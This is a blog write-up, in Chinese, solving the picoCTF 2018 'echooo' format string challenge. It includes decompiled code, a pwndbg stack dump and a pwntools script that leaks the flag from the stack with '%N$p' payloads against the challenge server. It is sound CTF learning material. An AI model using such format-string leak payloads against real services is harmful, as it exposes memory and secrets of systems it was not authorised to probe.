picoctf_2018_echooo

原创

z1r0. 于 2022-03-12 12:36:45 发布 139 收藏

分类专栏： buuctf 题目 文章标签： 安全 pwn

本文链接：https://blog.csdn.net/zzq487782568/article/details/123441743

picoctf_2018_echooo

查看保护

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

```
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  __gid_t v3; // ST24_4
  FILE *stream; // [esp+18h] [ebp-90h]
  char s; // [esp+1Ch] [ebp-8Ch]
  char v6; // [esp+5Ch] [ebp-4Ch]
  unsigned int v7; // [esp+9Ch] [ebp-Ch]

  v7 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v3 = getegid();
  setresgid(v3, v3, v3);
  memset(&s, 0, 0x40u);
  memset(&s, 0, 0x40u);
  puts("Time to learn about Format Strings!");
  puts("We will evaluate any format string you give us with printf().");
  puts("See if you can get the flag!");
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    puts(
      "Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.");
    exit(0);
  }
  fgets(&v6, 64, stream);
  while ( 1 )
  {
    printf("> ");
    fgets(&s, 64, stdin);
    printf(&s);
  }
}
```


格式化字符串漏洞

攻击思路：flag在栈上，所以直接格式化字符串泄露即可，但是在这里需要注意小端序

```
03:000c|      0xffffcde8 —▸ 0x804b1a0 ◂— 0xfbad2488
04:0010|      0xffffcdec —▸ 0x8048647 (main+76) ◂— mov    dword ptr [
 eax
05:0014|      0xffffcdf0 ◂— 0x40 /* '@' */
06:0018|      0xffffcdf4 —▸ 0xf7ffdb98 —▸ 0xf7ffdb30 —▸ 0xf7fc33f0 —▸
◂— ...
07:001c|      0xffffcdf8 —▸ 0xffffce74 ◂— 0xffffffff
08:0020|      0xffffcdfc —▸ 0xffffcf54 —▸ 0xffffd14a ◂— '/home/z1r0/c
uuctf/picoctf_2018_echooo/z1r0'
09:0024|      0xffffce00 —▸ 0xffffce4c ◂— 'flag{test}\n'
0a:0028|      0xffffce04 ◂— 0x3e8
0b:002c|      0xffffce08 —▸ 0x804b1a0 ◂— 0xfbad2488
0c:0030|      0xffffce0c ◂— 0x0
... ↓         15 skipped
1c:0070|  eax 0xffffce4c ◂— 'flag{test}\n'
1d:0074|      0xffffce50 ◂— '{test}\n'
pwndbg> fmtarg 0xffffce4c
The index of format argument : 28 ("\%27$p")          CSDN @z1r0.
```

在28的偏移开始，这时笔者直接用循环来爆破的，最后的结果为11，因为12的时候是null。

注意：小端序，两种方式，直接倒着输出，或者取每一个字节然后chr倒着拼接。

```python
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26540)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

flag = ''

for i in range(11):
    print('[+] i = ' + str(i))
    p1 = '%' + str(i + 27) + '$p'
    r.sendline(p1)
    r.recvuntil('> 0x')
    addr = int((r.recvuntil('\n')[:-1]), 16)
    a = (addr & 0xff000000) >> 24
    b = (addr & 0x00ff0000) >> 16
    c = (addr & 0x0000ff00) >> 8
    d = addr & 0x000000ff
    flag += chr(d) + chr(c) + chr(b) + chr(a)

print('[+] flag = ' + flag)

r.interactive()
```